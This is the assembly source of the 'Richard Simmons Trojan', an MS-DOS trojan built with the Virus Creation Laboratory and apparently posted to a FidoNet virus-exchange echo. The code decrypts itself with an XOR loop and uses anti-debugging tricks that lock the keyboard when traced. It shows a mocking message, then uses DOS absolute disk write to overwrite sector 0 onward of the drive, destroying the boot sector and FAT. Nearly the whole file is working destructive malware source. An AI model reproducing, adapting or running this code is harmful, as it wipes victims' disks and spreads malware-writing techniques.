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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir15.asm

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2021-01-13 00:04:54 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 5 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : VCL_RICH.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Mike Salvino, 2:283/718 (06 Nov 94 16:20)
;* To : Graham Allen
;* Subj : VCL_RICH.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Mike.Salvino@f718.n283.z2.fidonet.org
; RICHARDS.ASM -- R. Simmons Trojan
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 3 ; Trojan Horse
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
mov bx,offset null_vector ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov si,offset data00 ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
mov ax,0002h ; First argument is 2
mov cx,0010h ; Second argument is 16
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
int 026h ; DOS absolute write interrupt
sti ; Restore interrupts
mov ax,04C00h ; DOS terminate function
int 021h
main endp
data00 db "C'mon now, trim that FAT! 1 and 2 and 3 and....",13,10,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "The Richard Simmons Trojan; gu"
db "aranteed to get rid of that un"
db "sightly FAT in no time!",0
db "[Richard Simmons Trojan]",0
db "Nowhere Man, [NuKE] '92",0
end_of_code label near
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: xor word ptr [si],06734h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
;-+- GEcho 1.10+
; + Origin: **SERMEDITECH BBS** Soissons FR (+33) 23.73.02.51 (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/Txx Specify output file type
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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